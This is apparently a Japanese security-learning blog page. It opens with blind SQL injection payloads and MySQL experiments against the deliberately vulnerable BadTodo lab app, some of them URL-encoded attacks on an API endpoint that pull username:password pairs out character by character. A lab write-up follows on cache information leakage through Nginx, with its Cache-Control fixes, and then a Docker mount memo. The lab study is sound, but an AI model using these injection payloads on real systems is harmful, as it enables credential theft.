| count(*) |
+----------+
|        2 |
+----------+
SELECT count(*) FROM users WHERE (SELECT 1)=1;
+----------+
| count(*) |
+----------+
|        2 |
+----------+
SELECT distinct count(userid) FROM users; (distinct: 重複行を除外)
+---------------+
| count(userid) |
+---------------+
|             2|
+---------------+
SELECT 1 FROM users LIMIT 0,1;
+---+
| 1 |
+---+
| 1 |
+---+

SELECT * FROM users WHERE id='1';
+----+--------+--------+-----------------+--------------+-------+
| id | userid | pwd    | email           | icon         | super |
+----+--------+--------+-----------------+--------------+-------+
|  1 | admin  | passwd | root@example.jp | ockeghem.png |     1 |
+----+--------+--------+-----------------+--------------+-------+
SELECT * FROM users WHERE (SELECT 1)=1;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT * FROM users WHERE (SELECT 1 FROM users LIMIT 0,1)=1;
+----+-----------+--------+--------------------+--------------------------+-------+
| id | userid    | pwd    | email              | icon                     | super |
+----+-----------+--------+--------------------+--------------------------+-------+
|  1 | admin     | passwd | root@example.jp    | ockeghem.png             |     1 |
|  2 | wasbook   | wasboo | wasbook@example.jp | elephant.png             |     0 |
+----+-----------+--------+--------------------+--------------------------+-------+
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1)=1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users)=1;
ERROR 1242 (21000): Subquery returns more than 1 row
SELECT * FROM users WHERE userid='wasbook' AND (SELECT 1 FROM users LIMIT 0,1)=1;
+----+---------+--------+--------------------+--------------+-------+
| id | userid  | pwd    | email              | icon         | super |
+----+---------+--------+--------------------+--------------+-------+
|  2 | wasbook | wasboo | wasbook@example.jp | elephant.png |     0 |
+----+---------+--------+--------------------+--------------+-------+

: コロンが 160x3a 1058 となるか
SELECT ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),6,1));
+-------------------------------------------------------------------------------+
| ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),6,1)) |
+-------------------------------------------------------------------------------+
|                                                                            58 |
+-------------------------------------------------------------------------------+

BadTodoに入力する際の例(後日試す用)

検索BOX
FALSE test' AND (SELECT SUBSTRING(CONCAT(1,hogeid,1,1) FROM users LIMIT 0,1)=1-- 
TRUE  test' AND (SELECT SUBSTRING(CONCAT(1,userid),1,1) FROM users LIMIT 0,1)=1-- 
FALSE test' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 97-- 
TRUE  test' AND ASCII(SUBSTRING((SELECT CONCAT(userid, 0x3a, pwd) FROM users LIMIT 0,1),1,1)) > 96-- 
FALSE https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%201%20from%20user%20limit%200,1)=1--+ 
TRUE  https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%201%20from%20users%20limit%200,1)=1--+
FALSE https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%20substring(concat(1,user),1,1)%20from%20users%20limit%200,1)=1--+
TRUE  https://todo.example.jp/api/v1/is_valid_id.php?id=test%00%27%20and%20(select%20substring(concat(1,userid),1,1)%20from%20users%20limit%200,1)=1--+

やられアプリ BadTodo - 4.1 XSS(クロスサイト・スクリプティング) - demandosigno

やられアプリ BadTodo - 28 キャッシュからの情報漏洩

前回:やられアプリ BadTodo - 26 レースコンディション - demandosigno

キャッシュを利用することでアプリケーションの読み込み処理を高速化したり、サーバーの負荷を軽減させたりできます。
BadTodoでは Nginx がリバースプロキシサーバとなりキャッシュ機能を持っています。

今、"test"ユーザでBadTodoにログインしマイページを見ています。(これ以降少し時間のかかる操作のため、ログイン時に「ログインしたままにする」をチェックしておきます)

このときURLに"rnd=6603fd696be28"という文字列が付いています。これは「キャッシュバスター」といい、URLのクエリー文字列として乱数値を付与することでキャッシュからの情報漏洩を防ぐ保険的な対策の一つです。

ここでは、キャッシュバスターが付いていない場合について見ていきます。
アドレスから"rnd=6603fd696be28"を削除してアクセスします。

次にブラウザをリロードし、同じURLをもう一度読み込んでみます。(「マイページ」の再クリックでは"rnd"が付くのでダメです)
このとき、レスポンスに"X-Cache: HIT"と出ており、2回目のアクセスはキャッシュから読み込まれたことが分かります。(サーバにキャッシュが保存されている)

次に、今アクセスしているブラウザ(BurpSuite組み込みChromium)とは別のブラウザを一つ立ち上げます。(今回はFirefoxで試しています)
サーバーのキャッシュだけではなくブラウザにもキャッシュ機能はありますので、まず最初にブラウザ設定ページからブラウザ側のキャッシュは削除しておいてください。(「設定」→「プライバシーとセキュリティ」→「Cookieとサイトデータ」「データを消去」)
そして、先ほどのプロフィールページのアドレスをコピーして二つ目のブラウザでアクセスします。

まだログインもしていないのにも関わらず、"test"ユーザのプロフィールが見えてしまいました。

Firefoxの方もBurpを通して見てみると"X-Cache: HIT"となっており、キャッシュされたマイページを見ていることになります。

Nginxのデフォルトでは応答がキャッシュされる時間は無制限です。指定のログファイルサイズを超えれば削除されますが、そうでなければ永遠に残ります。
BadTodoの場合、設定ファイルにて"proxy_cache_valid 200 302 180s;"と指定されているため、200, 302のステータス応答に対しては180秒有効となっています。
(設定ファイルの場所はソースフォルダ上では \badtodo\nginx\default.conf に。badtodo-eginxコンテナ上では /etc/nginx/conf.d/default.conf 内で記述されています)

実際3分を超えた時点で"X-Cache: EXPIRED"となりキャッシュ切れとなります。

ここで、そのままFirefoxのページをリロードすると、今度は"X-Cache: HIT"となります。

続けて、元のChromiumブラウザ側をリロードするとログアウトされてしまったように見えます。

しかし、これは先ほどのFirefox側のログアウト画面をキャッシュしてしまったことによる「なんちゃってログアウト」画面です。
同様に3分待ってからリロードすると同じセッションIDのままログイン状態が継続していることを確認できます。

対策

  • アプリケーション側でキャッシュ制御用の適切なレスポンスヘッダを設定する
  • キャッシュサーバ―側でキャッシュ制御の適切な設定を行う

アプリケーション側でキャッシュを抑制するには、Cache-Controlヘッダとして no-store を指定すればよいですが、ブラウザやキャッシュサーバの仕様のブレを考慮して以下を指定すると良いでしょう。
Cache-Control: private, no-store, no-cache, must-revalidate
Pragma: no-cache

PHPの場合、session_cache_limiter関数を使い session_cache_limiter('nocache'); と指定することで
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
のようなヘッダが出力されます。
PHP: session_cache_limiter - Manual

ただ、session_cache_limiter() は session_start() がコールされる必要があり、BadTodoは独自のセッション生成方法を使っているためか機能しませんでした。 今回は一旦 common.php の先頭に直接記述することにしました。

<?php
header("Cache-Control: private, no-store, no-cache, must-revalidate");
header("Pragma:no-cache");

これにより所定のヘッダが付与されます。

Firefox側で読み込んでも"X-Cache: MISS"となります。アプリケーション側での拒否指示が優先されます(Nginx側でキャッシュされません)。

サーバー側の設定については後日。

補足:確認の際に思うように動作しなくなったら一旦キャッシュを削除してみてください。
BadTodo - Nginxのキャッシュの削除

Cache-Control - HTTP | MDN
www.itmedia.co.jp

Docker フォルダのマウント。ホストでの場所。

毎度忘れるのでメモ。

コンテナの中でファイルを作成しても、コンテナを削除すると消える。そこでホスト側のフォルダをコンテナにマウントすることで永続化する。
データベースの保持 — Docker-docs-ja 24.0 ドキュメント

環境
・Windows10
・Docker Desktop v4.26.1

volume でマウント

基本的にはホスト側から操作するべきではないため、ホスト側でボリュームがどこに作成されるか意識する必要はない。とはいえ一応知りたい場合。
例として
> docker container run -it --rm --mount src=volumetest,dst=/tmp/volumetest python:3.9.18-slim-bullseye /bin/bash
で作成した場合。

# ls /tmp/
volumetest
# echo "test-desu" > /tmp/volumetest/test.txt
# ls /tmp/volumetest/
test.txt
# exit
exit

Volume が作成されている。

PS C:\Users\hoge> docker volume inspect volumetest
[
    {
        "CreatedAt": "2024-01-13T11:49:48Z",
        "Driver": "local",
        "Labels": null,
        "Mountpoint": "/var/lib/docker/volumes/volumetest/_data",
        "Name": "volumetest",
        "Options": null,
        "Scope": "local"
    }
]

"Mountpoint": "/var/lib/docker/volumes/volumetest/_data" とのことで、Windows上では下記となる。

bind でマウント

バインド マウント(bind mount) の使用 — Docker-docs-ja 24.0 ドキュメント
ホスト側でもフォルダの内容を操作したい場合に利用する。ホスト側の任意のフォルダを割り当てる。
bindの方がvolumeよりアクセス速度が遅い

Windows上にフォルダを作成
PS C:\Users\hoge> mkdir bindtest

    Directory: C:\Users\hoge

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----       2024/01/13 土    21:21                bindtest

フォルダに移動
PS C:\Users\hoge> cd .\bindtest\
コンテナ起動とマウント
PS C:\Users\hoge\bindtest> docker container run -it --rm --mount "type=bind,src=$pwd,dst=/tmp/bindtest" python:3.9.18-slim-bullseye /bin/bash

テストファイルを作成
# echo "test-desu" > /tmp/bindtest/test.txt
# ls /tmp/bindtest/
test.txt
# exit
exit

PS C:\Users\hoge\bindtest> ls

    Directory: C:\Users\shink\bindtest

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---       2024/01/13 土    21:52             10 test.txt

後始末。テストファイルとフォルダの削除
PS C:\Users\shink\bindtest> cd ../
PS C:\Users\shink> rm -R .\bindtest\
PS C:\Users\shink>

Macについては後日確認。

/* -----codeの行番号----- */